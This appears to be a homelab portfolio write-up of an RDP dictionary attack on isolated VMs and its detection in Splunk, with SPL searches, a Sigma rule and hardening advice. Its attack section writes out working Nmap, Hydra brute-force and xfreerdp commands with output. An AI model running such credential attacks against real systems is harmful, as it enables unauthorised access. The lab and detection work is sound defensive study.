What This Project Demonstrates
A complete attack-and-detect kill chain — not just detection theory. I ran a real RDP dictionary attack against two accounts on a Windows homelab VM. One account resisted (good password + lockout policy); one was compromised (weak password, no lockout). Splunk caught the entire chain: the noisy brute-force failures on account cyber, the quiet success on labvictim, and the subsequent breach logon over RDP.
All activity was performed on isolated VMs on a private host-only network. The compromised account (labvictim) is a dedicated, disposable local account created solely for this exercise.
Environment Setup
┌──────────────────────────┐ RDP brute-force (port 3389) ┌─────────────────────────┐ │ Kali Linux │ ──────────────────────────────▶ │ Windows "homelabvm" │ │ 192.168.100.134 │ Hydra dictionary attack │ 192.168.100.135 │ │ │ │ │ │ Tools: Nmap, Hydra, │ ◀────────────────────────────── │ Splunk Universal │ │ FreeRDP, Splunk :8000 │ 4625 + 4624 forwarded :9997 │ Forwarder active │ └──────────────────────────┘ └─────────────────────────┘
Attacker (Kali Linux)
- THC-Hydra for dictionary brute-force
- FreeRDP for interactive RDP session
- Nmap for port discovery
- Splunk Enterprise 10.4.2 (SIEM)
Target (Windows homelabvm)
- Account
cyber— strong password, lockout enabled - Account
labvictim—Password1, no lockout - RDP on port 3389, NLA disabled
- Splunk Universal Forwarder → :9997
The Attack: Two Targets, Two Outcomes
The attack followed three steps: recon → brute-force account cyber (blocked) → brute-force account labvictim (compromised) → live RDP session.
kali@kali:~$ sudo nmap -sV -p 3389 192.168.100.135 PORT STATE SERVICE VERSION 3389/tcp open ms-wbt-server Microsoft Terminal Services
RDP confirmed open. Attack viable.
kali@kali:~$ hydra -l cyber -P ~/password.txt -V -t 1 rdp://192.168.100.135 [ATTEMPT] login: "cyber" - pass: "password123" → FAIL [ATTEMPT] login: "cyber" - pass: "admin" → FAIL ... 1 target completed, 0 valid passwords found [INFO] Account locked out after repeated failures
Strong password + account lockout policy stopped this attack cold. 24 × Event ID 4625 generated and forwarded to Splunk.
kali@kali:~$ hydra -l labvictim -P ~/password.txt -V -t 1 rdp://192.168.100.135 [ATTEMPT] login: "labvictim" - pass: "admin" → FAIL [ATTEMPT] login: "labvictim" - pass: "qwerty" → FAIL [ATTEMPT] login: "labvictim" - pass: "letmein" → FAIL [ATTEMPT] login: "labvictim" - pass: "welcome" → FAIL [3389][rdp] host: 192.168.100.135 login: labvictim password: Password1 1 target completed, 1 valid password found
Cracked on the 5th guess. Password1 is in every major wordlist. No lockout policy = unlimited attempts.
kali@kali:~$ xfreerdp /u:labvictim /p:Password1 /v:192.168.100.135 Connection established. Interactive RDP session active.
Live desktop access achieved. Windows logged Event ID 4624 (successful logon, Logon Type 10 — RemoteInteractive) — the breach event that Splunk must catch.
Splunk SIEM Detection: 6 SPL Searches
Six progressively refined SPL searches cover the full kill chain — from the first failed attempt to the compromise correlation that links failures to the breach.
index=main host=homelabvm sourcetype="WinEventLog:Security" EventCode=4625
Returns all 24 Event ID 4625 records. Validates pipeline and establishes attack volume.
index=main host=homelabvm sourcetype="WinEventLog:Security" EventCode=4625 (Logon_Type=3 OR Logon_Type=10) | table _time, Account_Name, Logon_Type, Source_Network_Address, Failure_Reason
Filters to network logon types. Every attempt shows source 192.168.100.134, ~2-second cadence — automated tool fingerprint.
index=main host=homelabvm sourcetype="WinEventLog:Security" EventCode=4625 | stats count AS failed_attempts, min(_time) AS first_seen, max(_time) AS last_seen by Account_Name, Source_Network_Address | sort - failed_attempts
Attribution table: 24 failures against cyber from 192.168.100.134 with timestamps. IR deliverable.
index=main host=homelabvm sourcetype="WinEventLog:Security" EventCode=4625 | bucket _time span=1m | stats count AS attempts_per_min by _time, Source_Network_Address | where attempts_per_min >= 5
Fires within the first minute of the attack. This alert can trigger before any password is found.
index=main host=homelabvm sourcetype="WinEventLog:Security" EventCode=4624 Source_Network_Address=192.168.100.134
Returns 3 × Event ID 4624 from the attacker's IP — the breach logons by labvictim. This is the highest-severity alert in the chain.
index=main host=homelabvm sourcetype="WinEventLog:Security" (EventCode=4625 OR EventCode=4624) | stats count(eval(EventCode=4625)) AS failures, count(eval(EventCode=4624)) AS successes, values(Account_Name) AS accounts by Source_Network_Address | where failures >= 5 AND successes >= 1
The kill-chain query. Links the brute-force noise to a subsequent success from the same IP — the definitive compromise indicator. Result: 192.168.100.134 → 24 failures + 3 successes across accounts [cyber, labvictim].
Portable Detection Artifacts
Splunk Scheduled Alert (savedsearches.conf)
Drop-in Splunk stanza. Runs every 5 minutes, fires when ≥5 failed network logons from a single source in the last minute. Email action configured.
# Drop into $SPLUNK_HOME/etc/system/local/savedsearches.conf [RDP Brute-Force Detected - 4625 Burst] search = index=main sourcetype="WinEventLog:Security" EventCode=4625 (Logon_Type=3 OR Logon_Type=10) | bucket _time span=1m | stats count AS attempts by _time, Source_Network_Address, Account_Name | where attempts >= 5 cron_schedule = */5 * * * * dispatch.earliest_time = -5m alert.severity = 4 action.email = 1
Sigma Rule (vendor-neutral)
Portable Sigma rule convertible to Elastic, Sentinel, QRadar, or any Sigma-compatible backend via sigma-cli.
title: RDP Brute-Force - Multiple Failed Logons from Single Source status: experimental author: Sagar Bidari date: 2026/10/02 tags: - attack.credential_access - attack.t1110.001 - attack.t1021.001 logsource: product: windows service: security detection: selection: EventID: 4625 LogonType: - 3 - 10 timeframe: 1m condition: selection | count() by IpAddress >= 5 falsepositives: - Service accounts with stale cached credentials - Misconfigured apps retrying failed logons level: high
Investigation Results
Password1 was the 5th entry in the wordlist. No lockout policy = unlimited attempts. Interactive RDP session established from the attacker's Kali machine.
labvictim from 192.168.100.134 were captured. Search 5 isolates them cleanly from legitimate authentication traffic.
Technique Mapping
| Tactic | Technique | ID | Observed |
|---|---|---|---|
| Reconnaissance | Network Service Discovery | T1046 | Nmap -sV -p 3389 confirms RDP exposure |
| Credential Access | Brute Force: Password Guessing | T1110.001 | Hydra dictionary attack against both accounts |
| Initial Access / Persistence | Valid Accounts | T1078 | Cracked labvictim/Password1 used for live RDP session |
| Lateral Movement | Remote Services: Remote Desktop Protocol | T1021.001 | FreeRDP session established to compromised account |
How to Harden Against This Attack
cyber account survived because it had lockout. labvictim was cracked because it didn't. Group Policy: lock accounts after 5 failures, 30-minute lockout window. Apply to every account including service accounts.
Password1 is attempt #5 in standard wordlists. A randomly generated 16-character password makes dictionary attacks computationally infeasible regardless of lockout policy.
What This Lab Taught Me
Having two accounts with deliberately different security postures made this far more instructive than a single-account lab. Seeing cyber resist and labvictim fold on the fifth attempt makes the defence recommendations concrete rather than theoretical — those aren't just best practices, they're the exact controls that would have prevented the breach.
The compromise correlation query (Search 6) was the most valuable analytical outcome. Linking the 4625 failures to the 4624 success from the same source IP in a single SPL search is the kind of detection logic that turns a SIEM from a log viewer into an incident detection platform.
The NLA finding reinforced that controls at different layers compound. Lockout stops unlimited attempts. Strong passwords stop dictionary attacks. NLA stops pre-authentication brute-force entirely. MFA stops credential-based compromise even after a successful crack. Each layer independently reduces risk; together they make this class of attack nearly infeasible.